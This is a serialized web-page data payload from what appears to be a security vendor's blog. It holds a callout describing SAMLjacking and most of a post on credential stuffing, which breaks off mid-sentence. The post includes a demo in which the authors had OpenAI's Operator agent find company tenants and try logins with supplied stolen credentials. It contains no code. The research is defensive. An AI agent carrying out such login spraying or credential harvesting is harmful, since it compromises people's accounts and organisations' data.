,"name":511,"slug":512,"tier":45},{"id":508},{"sys":144184,"name":324,"slug":325,"tier":45},{"id":321},{"sys":144186,"name":351,"slug":352,"tier":45},{"id":348},{"sys":144188,"name":624,"slug":625,"tier":45},{"id":621},{"sys":144190,"name":431,"slug":432,"tier":45},{"id":428},{"sys":144192,"name":571,"slug":572,"tier":45},{"id":568},"pKv0XFp-65fZyfYU7N0RcNivS_R_aM0oXomOCsaZEFA",{"id":144195,"title":141581,"authorsCollection":144196,"content":144201,"extension":228,"faqItemsCollection":144796,"faqTitle":59,"featured":6,"hashTags":59,"meta":144798,"metaTitle":144799,"ogImage":144800,"postType":42959,"publishedDate":141583,"relatedBlogPostsCollection":144802,"slug":141584,"stem":147054,"subtitle":59,"summary":147055,"synopsis":141582,"sys":147066,"tagsCollection":147068,"topicsCollection":147074,"__hash__":147102},"blog/blog/5-ways-attackers-can-use-computer-using-agents-to-automate-identity-attacks.json",{"items":144197},[144198],{"fullName":11421,"firstName":11422,"jobTitle":11423,"socialLinks":144199,"profilePicture":144200},[62480],{"url":11425},{"json":144202,"links":144702},{"data":144203,"content":144204,"nodeType":1382},{},[144205,144221,144227,144233,144239,144245,144248,144255,144271,144277,144298,144304,144310,144316,144321,144324,144331,144337,144343,144349,144354,144357,144364,144370,144376,144382,144387,144390,144397,144403,144409,144414,144419,144422,144429,144435,144440,144445,144451,144454,144461,144467,144473,144479,144485,144515,144524,144529,144535,144538,144545,144551,144561,144568,144574,144580,144586,144607,144623,144626,144633,144639,144654,144659,144662,144669,144675,144691,144696],{"data":144206,"content":144207,"nodeType":866},{},[144208,144211,144218],{"data":144209,"marks":144210,"value":141021,"nodeType":865},{},[],{"data":144212,"content":144213,"nodeType":889},{"uri":141024},[144214],{"data":144215,"marks":144216,"value":134104,"nodeType":865},{},[144217],{"type":943},{"data":144219,"marks":144220,"value":141033,"nodeType":865},{},[],{"data":144222,"content":144223,"nodeType":866},{},[144224],{"data":144225,"marks":144226,"value":141040,"nodeType":865},{},[],{"data":144228,"content":144229,"nodeType":866},{},[144230],{"data":144231,"marks":144232,"value":141047,"nodeType":865},{},[],{"data":144234,"content":144235,"nodeType":866},{},[144236],{"data":144237,"marks":144238,"value":141054,"nodeType":865},{},[],{"data":144240,"content":144241,"nodeType":866},{},[144242],{"data":144243,"marks":144244,"value":141061,"nodeType":865},{},[],{"data":144246,"content":144247,"nodeType":972},{},[],{"data":144249,"content":144250,"nodeType":981},{},[144251],{"data":144252,"marks":144253,"value":141072,"nodeType":865},{},[144254],{"type":926},{"data":144256,"content":144257,"nodeType":866},{},[144258,144261,144268],{"data":144259,"marks":144260,"value":141079,"nodeType":865},{},[],{"data":144262,"content":144263,"nodeType":889},{"uri":13171},[144264],{"data":144265,"marks":144266,"value":115902,"nodeType":865},{},[144267],{"type":943},{"data":144269,"marks":144270,"value":14251,"nodeType":865},{},[],{"data":144272,"content":144273,"nodeType":866},{},[144274],{"data":144275,"marks":144276,"value":141096,"nodeType":865},{},[],{"data":144278,"content":144279,"nodeType":1616},{},[144280,144289],{"data":144281,"content":144282,"nodeType":1570},{},[144283],{"data":144284,"content":144285,"nodeType":866},{},[144286],{"data":144287,"marks":144288,"value":141109,"nodeType":865},{},[],{"data":144290,"content":144291,"nodeType":1570},{},[144292],{"data":144293,"content":144294,"nodeType":866},{},[144295],{"data":144296,"marks":144297,"value":141119,"nodeType":865},{},[],{"data":144299,"content":144300,"nodeType":866},{},[144301],{"data":144302,"marks":144303,"value":141126,"nodeType":865},{},[],{"data":144305,"content":144306,"nodeType":866},{},[144307],{"data":144308,"marks":144309,"value":141133,"nodeType":865},{},[],{"data":144311,"content":144312,"nodeType":866},{},[144313],{"data":144314,"marks":144315,"value":141140,"nodeType":865},{},[],{"data":144317,"content":144320,"nodeType":912},{"target":144318},{"sys":144319},{"id":141145,"type":909,"linkType":910},[],{"data":144322,"content":144323,"nodeType":972},{},[],{"data":144325,"content":144326,"nodeType":981},{},[144327],{"data":144328,"marks":144329,"value":141157,"nodeType":865},{},[144330],{"type":926},{"data":144332,"content":144333,"nodeType":866},{},[144334],{"data":144335,"marks":144336,"value":141164,"nodeType":865},{},[],{"data":144338,"content":144339,"nodeType":866},{},[144340],{"data":144341,"marks":144342,"value":141171,"nodeType":865},{},[],{"data":144344,"content":144345,"nodeType":866},{},[144346],{"data":144347,"marks":144348,"value":141178,"nodeType":865},{},[],{"data":144350,"content":144353,"nodeType":912},{"target":144351},{"sys":144352},{"id":141183,"type":909,"linkType":910},[],{"data":144355,"content":144356,"nodeType":972},{},[],{"data":144358,"content":144359,"nodeType":981},{},[144360],{"data":144361,"marks":144362,"value":141195,"nodeType":865},{},[144363],{"type":926},{"data":144365,"content":144366,"nodeType":866},{},[144367],{"data":144368,"marks":144369,"value":141202,"nodeType":865},{},[],{"data":144371,"content":144372,"nodeType":866},{},[144373],{"data":144374,"marks":144375,"value":141209,"nodeType":865},{},[],{"data":144377,"content":144378,"nodeType":866},{},[144379],{"data":144380,"marks":144381,"value":141216,"nodeType":865},{},[],{"data":144383,"content":144386,"nodeType":912},{"target":144384},{"sys":144385},{"id":141221,"type":909,"linkType":910},[],{"data":144388,"content":144389,"nodeType":972},{},[],{"data":144391,"content":144392,"nodeType":981},{},[144393],{"data":144394,"marks":144395,"value":141233,"nodeType":865},{},[144396],{"type":926},{"data":144398,"content":144399,"nodeType":866},{},[144400],{"data":144401,"marks":144402,"value":141240,"nodeType":865},{},[],{"data":144404,"content":144405,"nodeType":866},{},[144406],{"data":144407,"marks":144408,"value":141247,"nodeType":865},{},[],{"data":144410,"content":144413,"nodeType":912},{"target":144411},{"sys":144412},{"id":141252,"type":909,"linkType":910},[],{"data":144415,"content":144418,"nodeType":912},{"target":144416},{"sys":144417},{"id":141258,"type":909,"linkType":910},[],{"data":144420,"content":144421,"nodeType":972},{},[],{"data":144423,"content":144424,"nodeType":981},{},[144425],{"data":144426,"marks":144427,"value":141270,"nodeType":865},{},[144428],{"type":926},{"data":144430,"content":144431,"nodeType":866},{},[144432],{"data":144433,"marks":144434,"value":141277,"nodeType":865},{},[],{"data":144436,"content":144439,"nodeType":912},{"target":144437},{"sys":144438},{"id":141282,"type":909,"linkType":910},[],{"data":144441,"content":144444,"nodeType":912},{"target":144442},{"sys":144443},{"id":141288,"type":909,"linkType":910},[],{"data":144446,"content":144447,"nodeType":866},{},[144448],{"data":144449,"marks":144450,"value":141296,"nodeType":865},{},[],{"data":144452,"content":144453,"nodeType":972},{},[],{"data":144455,"content":144456,"nodeType":981},{},[144457],{"data":144458,"marks":144459,"value":141307,"nodeType":865},{},[144460],{"type":926},{"data":144462,"content":144463,"nodeType":866},{},[144464],{"data":144465,"marks":144466,"value":141314,"nodeType":865},{},[],{"data":144468,"content":144469,"nodeType":866},{},[144470],{"data":144471,"marks":144472,"value":141321,"nodeType":865},{},[],{"data":144474,"content":144475,"nodeType":866},{},[144476],{"data":144477,"marks":144478,"value":141328,"nodeType":865},{},[],{"data":144480,"content":144481,"nodeType":866},{},[144482],{"data":144483,"marks":144484,"value":141335,"nodeType":865},{},[],{"data":144486,"content":144487,"nodeType":1616},{},[144488,144497,144506],{"data":144489,"content":144490,"nodeType":1570},{},[144491],{"data":144492,"content":144493,"nodeType":866},{},[144494],{"data":144495,"marks":144496,"value":141348,"nodeType":865},{},[],{"data":144498,"content":144499,"nodeType":1570},{},[144500],{"data":144501,"content":144502,"nodeType":866},{},[144503],{"data":144504,"marks":144505,"value":141358,"nodeType":865},{},[],{"data":144507,"content":144508,"nodeType":1570},{},[144509],{"data":144510,"content":144511,"nodeType":866},{},[144512],{"data":144513,"marks":144514,"value":141368,"nodeType":865},{},[],{"data":144516,"content":144517,"nodeType":866},{},[144518,144521],{"data":144519,"marks":144520,"value":141375,"nodeType":865},{},[],{"data":144522,"marks":144523,"value":141379,"nodeType":865},{},[],{"data":144525,"content":144528,"nodeType":912},{"target":144526},{"sys":144527},{"id":141384,"type":909,"linkType":910},[],{"data":144530,"content":144531,"nodeType":866},{},[144532],{"data":144533,"marks":144534,"value":141392,"nodeType":865},{},[],{"data":144536,"content":144537,"nodeType":972},{},[],{"data":144539,"content":144540,"nodeType":981},{},[144541],{"data":144542,"marks":144543,"value":141403,"nodeType":865},{},[144544],{"type":926},{"data":144546,"content":144547,"nodeType":866},{},[144548],{"data":144549,"marks":144550,"value":141410,"nodeType":865},{},[],{"data":144552,"content":144553,"nodeType":866},{},[144554,144557],{"data":144555,"marks":144556,"value":141417,"nodeType":865},{},[],{"data":144558,"marks":144559,"value":141422,"nodeType":865},{},[144560],{"type":926},{"data":144562,"content":144563,"nodeType":1317},{},[144564],{"data":144565,"marks":144566,"value":141430,"nodeType":865},{},[144567],{"type":926},{"data":144569,"content":144570,"nodeType":866},{},[144571],{"data":144572,"marks":144573,"value":141437,"nodeType":865},{},[],{"data":144575,"content":144576,"nodeType":866},{},[144577],{"data":144578,"marks":144579,"value":141444,"nodeType":865},{},[],{"data":144581,"content":144582,"nodeType":866},{},[144583],{"data":144584,"marks":144585,"value":141451,"nodeType":865},{},[],{"data":144587,"content":144588,"nodeType":1616},{},[144589,144598],{"data":144590,"content":144591,"nodeType":1570},{},[144592],{"data":144593,"content":144594,"nodeType":866},{},[144595],{"data":144596,"marks":144597,"value":141464,"nodeType":865},{},[],{"data":144599,"content":144600,"nodeType":1570},{},[144601],{"data":144602,"content":144603,"nodeType":866},{},[144604],{"data":144605,"marks":144606,"value":141474,"nodeType":865},{},[],{"data":144608,"content":144609,"nodeType":7584},{},[144610],{"data":144611,"content":144612,"nodeType":866},{},[144613,144616,144620],{"data":144614,"marks":144615,"value":141484,"nodeType":865},{},[],{"data":144617,"marks":144618,"value":141489,"nodeType":865},{},[144619],{"type":926},{"data":144621,"marks":144622,"value":141493,"nodeType":865},{},[],{"data":144624,"content":144625,"nodeType":972},{},[],{"data":144627,"content":144628,"nodeType":981},{},[144629],{"data":144630,"marks":144631,"value":25229,"nodeType":865},{},[144632],{"type":926},{"data":144634,"content":144635,"nodeType":866},{},[144636],{"data":144637,"marks":144638,"value":141510,"nodeType":865},{},[],{"data":144640,"content":144641,"nodeType":866},{},[144642,144645,144651],{"data":144643,"marks":144644,"value":141517,"nodeType":865},{},[],{"data":144646,"content":144647,"nodeType":889},{"uri":141520},[144648],{"data":144649,"marks":144650,"value":141525,"nodeType":865},{},[],{"data":144652,"marks":144653,"value":14251,"nodeType":865},{},[],{"data":144655,"content":144658,"nodeType":912},{"target":144656},{"sys":144657},{"id":141533,"type":909,"linkType":910},[],{"data":144660,"content":144661,"nodeType":972},{},[],{"data":144663,"content":144664,"nodeType":981},{},[144665],{"data":144666,"marks":144667,"value":141545,"nodeType":865},{},[144668],{"type":926},{"data":144670,"content":144671,"nodeType":866},{},[144672],{"data":144673,"marks":144674,"value":141552,"nodeType":865},{},[],{"data":144676,"content":144677,"nodeType":866},{},[144678,144681,144688],{"data":144679,"marks":144680,"value":21,"nodeType":865},{},[],{"data":144682,"content":144683,"nodeType":889},{"uri":16069},[144684],{"data":144685,"marks":144686,"value":118063,"nodeType":865},{},[144687],{"type":943},{"data":144689,"marks":144690,"value":141569,"nodeType":865},{},[],{"data":144692,"content":144695,"nodeType":912},{"target":144693},{"sys":144694},{"id":141145,"type":909,"linkType":910},[],{"data":144697,"content":144698,"nodeType":866},{},[144699],{"data":144700,"marks":144701,"value":21,"nodeType":865},{},[],{"entries":144703},{"hyperlink":144704,"inline":144705,"block":144706},[],[],[144707,144712,144716,144720,144755,144759,144784,144788,144792],{"sys":144708,"__typename":1414,"type":1415,"ctaText":144709,"buttonLabel":144710,"buttonColour":114626,"buttonUrl":144711},{"id":141145},"See our latest webinar on demand where we explore Operator's malicious use-cases throughout the kill chain","Watch Now","https://pushsecurity.com/resources/automating-identity-attacks",{"sys":144713,"__typename":52243,"title":144714,"arcadeDemoUrl":144715,"playText":52246},{"id":141183},"CUA blog — Arcade 1","https://demo.arcade.software/buNBQ1B8KBs44JUuKM3R?embed",{"sys":144717,"__typename":52243,"title":144718,"arcadeDemoUrl":144719,"playText":59377},{"id":141221},"CUA blog — Arcade 2","https://demo.arcade.software/b4EQ6eEkUvUMF6mXZoek?embed",{"sys":144721,"__typename":5503,"content":144722,"name":144754,"title":59},{"id":141252},{"json":144723},{"nodeType":1382,"data":144724,"content":144725},{},[144726],{"nodeType":866,"data":144727,"content":144728},{},[144729,144733,144741,144745,144751],{"nodeType":865,"value":144730,"marks":144731,"data":144732},"Most apps provide ",[],{},{"nodeType":889,"data":144734,"content":144735},{"uri":8020},[144736],{"nodeType":865,"value":144737,"marks":144738,"data":144740},"extremely limited account and authentication method visibility to admins",[144739],{"type":943},{},{"nodeType":865,"value":144742,"marks":144743,"data":144744},", and even fewer give them the ability to make changes on behalf of the user like removing insecure login methods — meaning it’s very difficult for them to investigate and remediate ",[],{},{"nodeType":889,"data":144746,"content":144747},{"uri":53259},[144748],{"nodeType":865,"value":6715,"marks":144749,"data":144750},[],{},{"nodeType":865,"value":1615,"marks":144752,"data":144753},[],{},"CUA blog — Insight box 1",{"sys":144756,"__typename":52243,"title":144757,"arcadeDemoUrl":144758,"playText":52246},{"id":141258},"CUA blog — Arcade 3","https://demo.arcade.software/uuIiTlrp7eLN2cuPAEFB?embed",{"sys":144760,"__typename":5503,"content":144761,"name":144783,"title":59},{"id":141282},{"json":144762},{"nodeType":1382,"data":144763,"content":144764},{},[144765],{"nodeType":866,"data":144766,"content":144767},{},[144768,144772,144780],{"nodeType":865,"value":144769,"marks":144770,"data":144771},"SAMLjacking works by modifying the app’s SAML settings to direct users to authenticate via an attacker-controlled SAML server to sign in using SSO via their IdP account. The user notices no real change to their experience and can access the resources as normal, but the attacker will harvest the credentials of every user that logs in. ",[],{},{"nodeType":889,"data":144773,"content":144774},{"uri":105882},[144775],{"nodeType":865,"value":144776,"marks":144777,"data":144779},"Find out more about SAMLjacking here",[144778],{"type":943},{},{"nodeType":865,"value":1615,"marks":144781,"data":144782},[],{},"CUA blog — Insight box 2",{"sys":144785,"__typename":52243,"title":144786,"arcadeDemoUrl":144787,"playText":65395},{"id":141288},"CUA blog — Arcade 4","https://demo.arcade.software/hnx017VaUdp9GGdzX8Yy?embed",{"sys":144789,"__typename":52243,"title":144790,"arcadeDemoUrl":144791,"playText":52246},{"id":141384},"CUA blog — Arcade 5","https://demo.arcade.software/VvkWBYKmBAm7r9qE64A3?embed",{"sys":144793,"__typename":1414,"type":1415,"ctaText":144794,"buttonLabel":144795,"buttonColour":114626,"buttonUrl":141520},{"id":141533},"Check out our blog post analysing the impact of CUAs on credential stuffing attacks","Read Now",{"items":144797},[],{},"Using CUAs like Operator to automate identity attacks",{"url":144801},"https://images.ctfassets.net/y1cdw1ablpvd/stqRZBfjcRHW2gz3MBaIN/2679b191b6fa37bbe27b486b334bb7b8/Operator_clip_thumbnail__4_.jpg",{"items":144803},[144804,145407,146039],{"__typename":1429,"sys":144805,"content":144807,"title":145393,"synopsis":145394,"hashTags":59,"publishedDate":145395,"slug":145396,"tagsCollection":145397,"authorsCollection":145403},{"id":144806},"hpHG3MIyOo5AMxoeLDeBX",{"json":144808},{"data":144809,"content":144810,"nodeType":1382},{},[144811,144819,144835,144864,144871,144874,144882,144889,144897,144904,144911,144918,144925,144933,144940,144969,144996,145003,145011,145018,145041,145048,145051,145059,145066,145074,145093,145126,145133,145145,145152,145160,145167,145174,145181,145188,145191,145199,145206,145229,145235,145238,145246,145262,145269,145272,145280,145287,145303,145310,145338,145341,145347,145364,145382,145387],{"data":144812,"content":144813,"nodeType":981},{},[144814],{"data":144815,"marks":144816,"value":144818,"nodeType":865},{},[144817],{"type":926},"Stolen credentials: The cyber criminal’s weapon of choice in 2024",{"data":144820,"content":144821,"nodeType":866},{},[144822,144825,144832],{"data":144823,"marks":144824,"value":21,"nodeType":865},{},[],{"data":144826,"content":144827,"nodeType":889},{"uri":1063},[144828],{"data":144829,"marks":144830,"value":136999,"nodeType":865},{},[144831],{"type":943},{"data":144833,"marks":144834,"value":137003,"nodeType":865},{},[],{"data":144836,"content":144837,"nodeType":866},{},[144838,144842,144850,144853,144860],{"data":144839,"marks":144840,"value":144841,"nodeType":865},{},[],"The criminal marketplace for stolen credentials is benefitting from ",{"data":144843,"content":144844,"nodeType":889},{"uri":110220},[144845],{"data":144846,"marks":144847,"value":144849,"nodeType":865},{},[144848],{"type":943},"the publicity of high profile breaches in 2024",{"data":144851,"marks":144852,"value":137021,"nodeType":865},{},[],{"data":144854,"content":144855,"nodeType":889},{"uri":3488},[144856],{"data":144857,"marks":144858,"value":13698,"nodeType":865},{},[144859],{"type":943},{"data":144861,"marks":144862,"value":144863,"nodeType":865},{},[]," customers using credentials found in data breach dumps and compromised credential feeds from infostealer and mass phishing campaigns, resulting in the compromise of 165 customer tenants and hundreds of millions of breached personal records.",{"data":144865,"content":144866,"nodeType":866},{},[144867],{"data":144868,"marks":144869,"value":144870,"nodeType":865},{},[],"But despite 2024 being an unprecedented year in terms of the impact of identity-based attacks, there’s still a lot of unfulfilled potential for attackers to realize. ",{"data":144872,"content":144873,"nodeType":972},{},[],{"data":144875,"content":144876,"nodeType":981},{},[144877],{"data":144878,"marks":144879,"value":144881,"nodeType":865},{},[144880],{"type":926},"Credential attack automation — what’s changed with the shift to SaaS? ",{"data":144883,"content":144884,"nodeType":866},{},[144885],{"data":144886,"marks":144887,"value":144888,"nodeType":865},{},[],"Brute forcing and credential stuffing are nothing new, and have been a key component of the cyber attacker toolkit for decades. But it’s not quite as easy to automatically spray credentials across systems as it once was. ",{"data":144890,"content":144891,"nodeType":1317},{},[144892],{"data":144893,"marks":144894,"value":144896,"nodeType":865},{},[144895],{"type":926},"No more one-size-fits-all",{"data":144898,"content":144899,"nodeType":866},{},[144900],{"data":144901,"marks":144902,"value":144903,"nodeType":865},{},[],"Rather than a single centralized network with apps and data contained within an infrastructure perimeter, business IT is now formed of hundreds of web-based apps and platforms, creating thousands of identities per organization.  ",{"data":144905,"content":144906,"nodeType":866},{},[144907],{"data":144908,"marks":144909,"value":144910,"nodeType":865},{},[],"This means that identities too are now decentralized and distributed all over the internet, as opposed to being stored solely in identity systems like Active Directory, and implemented using common protocols and mechanisms. ",{"data":144912,"content":144913,"nodeType":866},{},[144914],{"data":144915,"marks":144916,"value":144917,"nodeType":865},{},[],"While HTTP(S) is standard, modern web apps are complex and highly customized, with a graphically-driven interface that is different every time. And to make matters worse, modern web apps are specifically designed to prevent malicious automation through bot protections like CAPTCHA. ",{"data":144919,"content":144920,"nodeType":866},{},[144921],{"data":144922,"marks":144923,"value":144924,"nodeType":865},{},[],"So rather than encountering standard protocols and being able to write a single set of tools to use across any organization/environment e.g. write a DNS scanner once, use a single port scanner like Nmap for the entire internet, write a single script per service (e.g. FTP, SSH, Telnet, etc.) for your password sprayer — custom tool development is instead required for every app that you want to target. ",{"data":144926,"content":144927,"nodeType":1317},{},[144928],{"data":144929,"marks":144930,"value":144932,"nodeType":865},{},[144931],{"type":926},"Finding the needle in the haystack",{"data":144934,"content":144935,"nodeType":866},{},[144936],{"data":144937,"marks":144938,"value":144939,"nodeType":865},{},[],"Not only are there more environments for attackers to include in the scope of their attack, but there are more credentials to work with. ",{"data":144941,"content":144942,"nodeType":866},{},[144943,144947,144952,144956,144965],{"data":144944,"marks":144945,"value":144946,"nodeType":865},{},[],"There are around ",{"data":144948,"marks":144949,"value":144951,"nodeType":865},{},[144950],{"type":926},"15 billion compromised credentials",{"data":144953,"marks":144954,"value":144955,"nodeType":865},{},[]," available on the public internet, not including those found only in private channels/feeds. This list is growing all of the time — ",{"data":144957,"content":144959,"nodeType":889},{"uri":144958},"https://www.bleepingcomputer.com/news/security/have-i-been-pwned-adds-284m-accounts-stolen-by-infostealer-malware/",[144960],{"data":144961,"marks":144962,"value":144964,"nodeType":865},{},[144963],{"type":943},"like 244M never before seen passwords and 493M unique website and email address pairs",{"data":144966,"marks":144967,"value":144968,"nodeType":865},{},[]," being added to Have I Been Pwned from infostealer logs just last month. ",{"data":144970,"content":144971,"nodeType":866},{},[144972,144976,144984,144988,144993],{"data":144973,"marks":144974,"value":144975,"nodeType":865},{},[],"This sounds scary, but it’s tricky for attackers to harness this data. The vast majority of these credentials are old and invalid. Our ",{"data":144977,"content":144978,"nodeType":889},{"uri":13526},[144979],{"data":144980,"marks":144981,"value":144983,"nodeType":865},{},[144982],{"type":943},"recent review of TI data",{"data":144985,"marks":144986,"value":144987,"nodeType":865},{},[]," found that fewer than 1% of stolen credentials included in threat intelligence feeds from a multi-vendor data set was actionable —",{"data":144989,"marks":144990,"value":144992,"nodeType":865},{},[144991],{"type":926}," in other words, 99% of compromised credentials were false positives.",{"data":144994,"marks":144995,"value":5959,"nodeType":865},{},[],{"data":144997,"content":144998,"nodeType":866},{},[144999],{"data":145000,"marks":145001,"value":145002,"nodeType":865},{},[],"But not all of them are useless — as the Snowflake attacks demonstrated, which successfully leveraged credentials dating back to 2020. So there are clearly treasures waiting to be discovered by attackers. ",{"data":145004,"content":145005,"nodeType":1317},{},[145006],{"data":145007,"marks":145008,"value":145010,"nodeType":865},{},[145009],{"type":926},"Attackers are forced to prioritize",{"data":145012,"content":145013,"nodeType":866},{},[145014],{"data":145015,"marks":145016,"value":145017,"nodeType":865},{},[],"The distributed nature of apps and identities, and the low reliability of compromised credential data, means attackers are forced to prioritize — despite a target-rich environment of hundreds of business apps, creating thousands of sprawled identities per organization, because: ",{"data":145019,"content":145020,"nodeType":1616},{},[145021,145031],{"data":145022,"content":145023,"nodeType":1570},{},[145024],{"data":145025,"content":145026,"nodeType":866},{},[145027],{"data":145028,"marks":145029,"value":145030,"nodeType":865},{},[],"Writing and running custom python scripts for every single app (there are more than 40k SaaS apps on the internet) is not realistic. Even if you did the top 100 or 1000, that would be a significant task and require constant maintenance, while barely scratching the surface of the total opportunity. ",{"data":145032,"content":145033,"nodeType":1570},{},[145034],{"data":145035,"content":145036,"nodeType":866},{},[145037],{"data":145038,"marks":145039,"value":145040,"nodeType":865},{},[],"Even when fully scripted and using a botnet to distribute the attack and avoid IP blocking, controls like rate limiting, CAPTCHA, and account lockouts can obstruct mass credential stuffing against a single app. And a concentrated attack on a single site is going to generate significant levels of traffic if you want to get through 15 billion passwords in a reasonable timeframe, so it’s very likely to raise the alarm.",{"data":145042,"content":145043,"nodeType":866},{},[145044],{"data":145045,"marks":145046,"value":145047,"nodeType":865},{},[],"So attackers tend to target a smaller number of apps, and only look for a direct match in terms of the credentials attempted (e.g. the stolen credential must directly belong to an account on the target app). When they do go after something new, it tends to be concentrated on a specific app/platform (e.g. Snowflake) or looking for a narrower subset of credentials (e.g. credentials clearly associated with edge devices, for more traditional network environments). ",{"data":145049,"content":145050,"nodeType":972},{},[],{"data":145052,"content":145053,"nodeType":981},{},[145054],{"data":145055,"marks":145056,"value":145058,"nodeType":865},{},[145057],{"type":926},"A missed opportunity?",{"data":145060,"content":145061,"nodeType":866},{},[145062],{"data":145063,"marks":145064,"value":145065,"nodeType":865},{},[],"As we’ve established, the situation regarding credential stuffing attacks is already pretty bad despite these limitations. But things could be significantly worse. ",{"data":145067,"content":145068,"nodeType":1317},{},[145069],{"data":145070,"marks":145071,"value":145073,"nodeType":865},{},[145072],{"type":926},"Password reuse means a single compromised account could turn into many",{"data":145075,"content":145076,"nodeType":866},{},[145077,145081,145089],{"data":145078,"marks":145079,"value":145080,"nodeType":865},{},[],"If attackers were able to increase the scale of their attacks to target a broader number of apps (rather than concentrating on a shortlist of high value apps) they could take advantage of all-too-common password reuse. According to our ",{"data":145082,"content":145083,"nodeType":889},{"uri":6698},[145084],{"data":145085,"marks":145086,"value":145088,"nodeType":865},{},[145087],{"type":943},"recent investigation of identity data",{"data":145090,"marks":145091,"value":145092,"nodeType":865},{},[],", on average:",{"data":145094,"content":145095,"nodeType":1616},{},[145096,145106,145116],{"data":145097,"content":145098,"nodeType":1570},{},[145099],{"data":145100,"content":145101,"nodeType":866},{},[145102],{"data":145103,"marks":145104,"value":145105,"nodeType":865},{},[],"1 in 3 employees reuse passwords",{"data":145107,"content":145108,"nodeType":1570},{},[145109],{"data":145110,"content":145111,"nodeType":866},{},[145112],{"data":145113,"marks":145114,"value":145115,"nodeType":865},{},[],"9% of identities have a reused password AND no MFA",{"data":145117,"content":145118,"nodeType":1570},{},[145119],{"data":145120,"content":145121,"nodeType":866},{},[145122],{"data":145123,"marks":145124,"value":145125,"nodeType":865},{},[],"10% of IdP accounts (used for SSO) have a non-unique password",{"data":145127,"content":145128,"nodeType":866},{},[145129],{"data":145130,"marks":145131,"value":145132,"nodeType":865},{},[],"What does this mean? If a stolen credential is valid, there’s a good chance that it can be used to access more than one account, on more than one app (at least). ",{"data":145134,"content":145135,"nodeType":866},{},[145136,145141],{"data":145137,"marks":145138,"value":145140,"nodeType":865},{},[145139],{"type":926},"Picture the scenario:",{"data":145142,"marks":145143,"value":145144,"nodeType":865},{},[]," A recent compromised credential leak from infostealer infections or credential phishing campaigns shows that a particular username and password combination is valid on a specific app — let’s say Microsoft 365. Now, this account is pretty locked down — not only does it have MFA, but there are conditional access policies in place restricting the IP/location it can be accessed from. ",{"data":145146,"content":145147,"nodeType":866},{},[145148],{"data":145149,"marks":145150,"value":145151,"nodeType":865},{},[],"Usually, this is where the attack would end, and you’d turn your attention to something else. But what if you were able to spray these credentials across every other business app that the user has an account on?",{"data":145153,"content":145154,"nodeType":1317},{},[145155],{"data":145156,"marks":145157,"value":145159,"nodeType":865},{},[145158],{"type":926},"Scaling credential attacks with Computer-Using Agents",{"data":145161,"content":145162,"nodeType":866},{},[145163],{"data":145164,"marks":145165,"value":145166,"nodeType":865},{},[],"Until now, the impact of AI on identity attacks has been limited to the use of LLMs for the creation of phishing emails, in AI-assisted malware development, and for social media bots — no doubt significant, but not exactly transformative, and requiring constant human oversight and input. ",{"data":145168,"content":145169,"nodeType":866},{},[145170],{"data":145171,"marks":145172,"value":145173,"nodeType":865},{},[],"But with the launch of OpenAI Operator, a new kind of “Computer-Using Agent”, this could be about to change. ",{"data":145175,"content":145176,"nodeType":866},{},[145177],{"data":145178,"marks":145179,"value":145180,"nodeType":865},{},[],"Operator is trained on a specialist dataset and implemented in its own sandboxed browser, meaning it is able to perform common web tasks like a human — seeing and interacting with pages as a human would. ",{"data":145182,"content":145183,"nodeType":866},{},[145184],{"data":145185,"marks":145186,"value":145187,"nodeType":865},{},[],"Unlike other automated solutions, Operator requires no custom implementation or coding to be able to interact with new sites, making it a much more scalable option for attackers looking to target a broad sweep of sites/apps. ",{"data":145189,"content":145190,"nodeType":972},{},[],{"data":145192,"content":145193,"nodeType":981},{},[145194],{"data":145195,"marks":145196,"value":145198,"nodeType":865},{},[145197],{"type":926},"Demo: Using Operator to conduct credential stuffing attacks at scale",{"data":145200,"content":145201,"nodeType":866},{},[145202],{"data":145203,"marks":145204,"value":145205,"nodeType":865},{},[],"We put the malicious use-cases of Operator to the test, using it to:",{"data":145207,"content":145208,"nodeType":1616},{},[145209,145219],{"data":145210,"content":145211,"nodeType":1570},{},[145212],{"data":145213,"content":145214,"nodeType":866},{},[145215],{"data":145216,"marks":145217,"value":145218,"nodeType":865},{},[],"Identify which companies have an existing tenant on a list of apps",{"data":145220,"content":145221,"nodeType":1570},{},[145222],{"data":145223,"content":145224,"nodeType":866},{},[145225],{"data":145226,"marks":145227,"value":145228,"nodeType":865},{},[],"Attempt to login to various app tenants with a provided username and password",{"data":145230,"content":145234,"nodeType":912},{"target":145231},{"sys":145232},{"id":145233,"type":909,"linkType":910},"moAA7jwcBmZMaqpmPva4w",[],{"data":145236,"content":145237,"nodeType":972},{},[],{"data":145239,"content":145240,"nodeType":981},{},[145241],{"data":145242,"marks":145243,"value":145245,"nodeType":865},{},[145244],{"type":926},"Impact summary",{"data":145247,"content":145248,"nodeType":866},{},[145249,145253,145258],{"data":145250,"marks":145251,"value":145252,"nodeType":865},{},[],"The results were pretty eye opening. Operator clearly demonstrated the ability to target a list of apps with compromised credentials and perform in-app actions. ",{"data":145254,"marks":145255,"value":145257,"nodeType":865},{},[145256],{"type":926},"Now think about this x10, x100, x10,000 …",{"data":145259,"marks":145260,"value":145261,"nodeType":865},{},[]," These are not complex tasks. But the value of CUAs Operator is not in tackling complexity, but scale. Imagine a world where you can orchestrate Operator windows via API and get it to execute these actions simultaneously (functionality that exists already for ChatGPT). ",{"data":145263,"content":145264,"nodeType":866},{},[145265],{"data":145266,"marks":145267,"value":145268,"nodeType":865},{},[],"But this is bigger than Operator — it’s about the direction of the technology. OpenAI may implement restrictions — better in-app guardrails, rate limits on the number of concurrent tasks and total usage, etc. But you can guarantee it won’t be the only CUA — it’s only a matter of time before similar products emerge (maybe even inherently malicious ones) making use of the same technology. ",{"data":145270,"content":145271,"nodeType":972},{},[],{"data":145273,"content":145274,"nodeType":981},{},[145275],{"data":145276,"marks":145277,"value":145279,"nodeType":865},{},[145278],{"type":926},"Final thoughts ",{"data":145281,"content":145282,"nodeType":866},{},[145283],{"data":145284,"marks":145285,"value":145286,"nodeType":865},{},[],"It’s still early days for CUA tech, but there’s a clear indication that an already severe security challenge could be made worse with this particular form of AI-driven automation. While the ability to target a broad set of apps has been previously beyond the scope of traditional automation, it’s about to become much more accessible to even low-skilled attackers (think: next gen script kiddies?). ",{"data":145288,"content":145289,"nodeType":866},{},[145290,145294,145299],{"data":145291,"marks":145292,"value":145293,"nodeType":865},{},[],"Another way to think about it is that it effectively gives a human attacker a fleet of low-level interns who don’t ",{"data":145295,"marks":145296,"value":145298,"nodeType":865},{},[145297],{"type":898},"quite",{"data":145300,"marks":145301,"value":145302,"nodeType":865},{},[]," know what they’re doing, but can be instructed to perform specific, itemised tasks at scale with only the occasional check in — while you work on 